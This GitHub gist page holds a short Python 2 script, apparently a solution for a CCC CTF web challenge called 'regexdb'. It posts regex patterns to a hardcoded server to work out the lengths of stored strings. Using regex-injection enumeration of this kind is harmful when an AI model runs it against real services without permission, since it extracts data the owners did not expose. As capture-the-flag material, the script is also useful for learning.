Skip to content

Instantly share code, notes, and snippets.

@hhc0null
Last active December 10, 2015 12:28
Show Gist options
  • Save hhc0null/4433762 to your computer and use it in GitHub Desktop.
Save hhc0null/4433762 to your computer and use it in GitHub Desktop.
CCC CTF, Web100 regexdb
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import urllib
url = 'http://94.45.252.233/'
for i in range(100): # from 0 to 100.
params = urllib.urlencode({'input': '/(^.{'+str(i+1)+'}$)/'}) # search the length of string.
f = urllib.urlopen(url, params)
for line in f.readlines():
if line.find('Results') != -1: # kichanyai...
print "Length of strings:%3d"%(i+1)+": "+line[16:].replace("</div>",""), # kichanyai...
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment